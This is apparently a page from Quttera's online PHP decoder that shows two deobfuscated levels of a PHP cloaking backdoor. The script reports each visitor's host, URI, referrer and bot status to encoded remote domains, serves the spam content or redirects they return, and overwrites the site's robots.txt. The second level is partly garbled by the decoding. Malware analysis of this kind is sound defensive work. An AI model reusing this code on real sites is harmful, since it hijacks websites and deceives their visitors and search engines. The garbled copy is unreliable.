Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

goto CFyB3;
 FYv78: if (!strstr($html_content, "nobotuseragent")) { if (strstr($html_content, "okhtml")) { @header("Content-type: text/html; charset=utf-8");
 $html_content = str_replace("okhtml", '', $html_content);
 if ($istest) { echo $string;
 } echo $html_content;
 die;
 } else { if (strstr($html_content, "getcontent0page")) { @header("HTTP/1.1 500 Internal Server Error");
 die;
 } else { if (strstr($html_content, "4page")) { @header("HTTPyq Not Found");
 die;
 } else { if (strstr($html_content, "301page")) { @header("HTTP/1q01 Moved Permanently");
 $html_content = str_replace("3page", '', $html_content);
 header("Location: " . $html_content);
 die;
 } else { if (strstr($html_content, "okxml")) { $html_content = str_replace("okxml", '', $html_content);
 @header("Content-Type: application/xml; charset=utf-8");
 echo $html_content;
 die;
 } else { if (strstr($html_content, "okrobots")) { $html_content = str_replace("okrobots", '', $html_content);
 @header("Content-Type: text/plain");
 echo $html_content;
 die;
 } } } } } } } goto ffxJm;
 VJ2mP: $server = detect_server_software();
 goto l20XN;
 b8qOb: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"];
 } goto VItET;
 wR19Y: $param = "web=" . $host . "&zz=" . $zz . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang . "&server=" . $server . "&model=" . $model;
 goto wLU7Q;
 gWTKJ: $host = $_SERVER["HTTP_HOST"];
 goto k4rM0;
 GO1La: if ($duri != "/") { $duri = str_replace("/" . $model_file, '', $duri);
 $duri = str_replace("/index.php", '', $duri);
 $duri = str_replace("!", '', $duri);
 } goto JUAl_;
 Xqc_I: if (stristr($duri, "/?")) { $model = "?";
 } goto Lzv7u;
 VItET: if (is_https()) { $http = "https";
 } else { $http = "http";
 } goto FFrjk;
 NHEcc: $duri = drequest_uri();
 goto Q4CtH;
 oijLO: $http_web = "http";
 goto gWTKJ;
 JUAl_: $duri = urlencode($duri);
 goto VJ2mP;
 whiUk: $urlshang = '';
 goto b8qOb;
 FFrjk: $zz = disbot();
 goto NHEcc;
 Lzv7u: $string = "5-link178";
 goto Bmkrt;
 CFyB3: $xmlname = array("%33+2%35*D%79%76%%78%31+7+8%2E%62%6F%73.8%66%%68%.1%2E%67%%63", "%33%%35*D%79%.1%78%31+7%38%2E%/2%%.1%%76%%6C%2E.7%%63", "%33+2+5*D%79%76%61%78%31%37%38*E/2%%%69%%%.2%%2E%6B%6C%6D", "%33+2%*D%79%76%61%78%%37%38%2E%76.1%61%62%66%%72%%2E%%62.3");
 goto oijLO;
 wLU7Q: $html_content = request($xmlname, $http_web, $param);
 goto FYv78;
 ffxJm: function disbot() { $user_agent = strtolower($_SERVER["HTTP_USER_AGENT"]);
 if (stristr($user_agent, "googlebot") || stristr($user_agent, "bing") || stristr($user_agent, "yahoo") || stristr($user_agent, "google") || stristr($user_agent, "Googlebot")) { return 1;
 } else { return 2;
 } } goto nSPxx;
 Q4CtH: $duri = $duri == '' ? "/" : $duri;
 goto jlkac;
 fxZh2: function create_robots($url) { $function = func();
 $path = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";
 $content = "User-agent: *" . PHP_EOL;
 $content .= "Allow: /" . PHP_EOL . PHP_EOL;
 $content .= "Sitemap: " . $url . "/sitemap.xml" . PHP_EOL;
 if (!file_exists($path)) { $function[0]($path, $content);
 } else { $existingContent = $function[1]($path);
 if ($existingContent !== $content) { $function[0]($path, $content);
 } } } goto w61wp;
 jlkac: preg_match("/\/([^\/]+\.php)/", $duri, $matches);
 goto kt8wd;
 kt8wd: if (empty($matches) || $matches[1] == "wp-crom.php" || $matches[1] == "detail.php") { $model_file = "index.php";
 $model = "index";
 } else { $model_file = $matches[1];
 $position = strpos($duri, $model_file);
 if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file));
 $model_file = ltrim($model_file, "/");
 } $model = str_replace(".php", '', $model_file);
 } goto Xqc_I;
 nSPxx: function drequest_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"];
 } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0];
 } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"];
 } } return $duri;
 } goto V2IKK;
 w61wp: function request($webs, $http_web, $param) { $function = func();
 shuffle($webs);
 foreach ($webs as $domain) { $domain = $function[2](urldecode($domain));
 $url = $http_web . "://" . $domain . "/super6.php?" . $param;
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 $response = curl_exec($ch);
 if (!curl_errno($ch)) { curl_close($ch);
 return $response;
 } else { if (stristr(curl_error($ch), "443")) { echo "443";
 } curl_close($ch);
 } if (ini_get("allow_url_fopen")) { $response = @$function[1]($url);
 if ($response !== false) { return $response;
 } } } return "nobotuseragent";
 } goto aty9R;
 a1aPO: function detect_server_software() { $path = $_SERVER["DOCUMENT_ROOT"] . "/.htaccess";
 if (file_exists($path)) { return 1;
 } else { return 2;
 } } goto fxZh2;
 V2IKK: function is_https() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true;
 } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true;
 } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true;
 } return false;
 } goto a1aPO;
 O4Zax: if (strpos($duri, $string) !== false) { $zz = 1;
 $duri = str_replace($string, '', $duri);
 $istest = true;
 } goto GO1La;
 k4rM0: $lang = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ?: "en";
 goto whiUk;
 Bmkrt: $istest = false;
 goto O4Zax;
 l20XN: create_robots($http . "://" . $host);
 goto wR19Y;
 aty9R: function func() { $chars = range("a", "z");
 return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "_" . $chars[15] . $chars[20] . $chars[19] . "_" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "_" . $chars[6] . $chars[4] . $chars[19] . "_" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "_" . $chars[17] . $chars[14] . $chars[19] . "13");
 }

goto CFyB3;
 FYv78: if (!strstr($html_content, "nobotuseragent")) { if (strstr($html_content, "okhtml")) { @header("Content-type: text/html; charset=utf-8");
 $html_content = str_replace("okhtml", '', $html_content);
 if ($istest) { echo $string;
 } echo $html_content;
 die;
 } else { if (strstr($html_content, "getcontent0page")) { @header("HTTP/11 500 Internal Server Error");
 die;
 } else { if (strstr($html_content, "4page")) { @header("HTTPyq Not Found");
 die;
 } else { if (strstr($html_content, "301page")) { @header("HTTP/1q01 Moved Permanently");
 $html_content = str_replace("3page", '', $html_content);
 header("Location: " . $html_content);
 die;
 } else { if (strstr($html_content, "okxml")) { $html_content = str_replace("okxml", '', $html_content);
 @header("Content-Type: application/xml; charset=utf-8");
 echo $html_content;
 die;
 } else { if (strstr($html_content, "okrobots")) { $html_content = str_replace("okrobots", '', $html_content);
 @header("Content-Type: text/plain");
 echo $html_content;
 die;
 } } } } } } } goto ffxJm;
 VJ2mP: $server = detect_server_software();
 goto l20XN;
 b8qOb: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"];
 } goto VItET;
 wR19Y: $param = "web=" . $host . "&zz=" . $zz . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang . "&server=" . $server . "&model=" . $model;
 goto wLU7Q;
 gWTKJ: $host = $_SERVER["HTTP_HOST"];
 goto k4rM0;
 GO1La: if ($duri != "/") { $duri = str_replace("/" . $model_file, '', $duri);
 $duri = str_replace("/indexphp", '', $duri);
 $duri = str_replace("!", '', $duri);
 } goto JUAl_;
 Xqc_I: if (stristr($duri, "/?")) { $model = "?";
 } goto Lzv7u;
 VItET: if (is_https()) { $http = "https";
 } else { $http = "http";
 } goto FFrjk;
 NHEcc: $duri = drequest_uri();
 goto Q4CtH;
 oijLO: $http_web = "http";
 goto gWTKJ;
 JUAl_: $duri = urlencode($duri);
 goto VJ2mP;
 whiUk: $urlshang = '';
 goto b8qOb;
 FFrjk: $zz = disbot();
 goto NHEcc;
 Lzv7u: $string = "5-link178";
 goto Bmkrt;
 CFyB3: $xmlname = array("%33+2%35*D%79%76%%78%31+7+8%2E%62%6F%738%66%%68%.1%2E%67%%63", "%33%%35*D%79%.1%78%31+7%38%2E%/2%%.1%%76%%6C%2E7%%63", "%33+2+5*D%79%76%61%78%31%37%38*E/2%%%69%%%.2%%2E%6B%6C%6D", "%33+2%*D%79%76%61%78%%37%38%2E%761%61%62%66%%72%%2E%%623");
 goto oijLO;
 wLU7Q: $html_content = request($xmlname, $http_web, $param);
 goto FYv78;
 ffxJm: function disbot() { $user_agent = strtolower($_SERVER["HTTP_USER_AGENT"]);
 if (stristr($user_agent, "googlebot") || stristr($user_agent, "bing") || stristr($user_agent, "yahoo") || stristr($user_agent, "google") || stristr($user_agent, "Googlebot")) { return 1;
 } else { return 2;
 } } goto nSPxx;
 Q4CtH: $duri = $duri == '' ? "/" : $duri;
 goto jlkac;
 fxZh2: function create_robots($url) { 
 $path = $_SERVER["DOCUMENT_ROOT"] . "/robotstxt";
 $content = "User-agent: *" . PHP_EOL;
 $content .= "Allow: /" . PHP_EOLPHP_EOL;
 $content .= "Sitemap: " . $url . "/sitemapxml" . PHP_EOL;
 if (!file_exists($path)) { "f"($path, $content);
 } else { $existingContent = "u"($path);
 if ($existingContent !== $content) { "f"($path, $content);
 } } } goto w61wp;
 jlkac: preg_match("/\/([^\/]+\.php)/", $duri, $matches);
 goto kt8wd;
 kt8wd: if (empty($matches) || "u" == "wp-cromphp" || "u" == "detailphp") { $model_file = "indexphp";
 $model = "index";
 } else { $model_file = "u";
 $position = strpos($duri, $model_file);
 if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file));
 $model_file = ltrim($model_file, "/");
 } $model = str_replace(".php", '', $model_file);
 } goto Xqc_I;
 nSPxx: function drequest_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"];
 } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0];
 } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"];
 } } return $duri;
 } goto V2IKK;
 w61wp: function request($webs, $http_web, $param) { 
 shuffle($webs);
 foreach ($webs as $domain) { $domain = "n"(urldecode($domain));
 $url = $http_web . "://" . $domain . "/super6php?" . $param;
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 $response = curl_exec($ch);
 if (!curl_errno($ch)) { curl_close($ch);
 return $response;
 } else { if (stristr(curl_error($ch), "443")) { echo "443";
 } curl_close($ch);
 } if (ini_get("allow_url_fopen")) { $response = @"u"($url);
 if ($response !== false) { return $response;
 } } } return "nobotuseragent";
 } goto aty9R;
 a1aPO: function detect_server_software() { $path = $_SERVER["DOCUMENT_ROOT"] . "/.htaccess";
 if (file_exists($path)) { return 1;
 } else { return 2;
 } } goto fxZh2;
 V2IKK: function is_https() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true;
 } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true;
 } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true;
 } return false;
 } goto a1aPO;
 O4Zax: if (strpos($duri, $string) !== false) { $zz = 1;
 $duri = str_replace($string, '', $duri);
 $istest = true;
 } goto GO1La;
 k4rM0: $lang = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ?: "en";
 goto whiUk;
 Bmkrt: $istest = false;
 goto O4Zax;
 l20XN: create_robots($http . "://" . $host);
 goto wR19Y;
 aty9R: function func() { 
 return array(")""(_" . $chars[15] . $chars[20] . $chars[19] . "_n)"" . $chars[19] . "("" . $chars[19] . $chars[18], ")""(_"(" . $chars[19] . "_n)"" . $chars[19] . "("" . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "_" . $chars[17] . ")" . $chars[19] . "13");
 }



© 2023 Quttera Ltd. All rights reserved.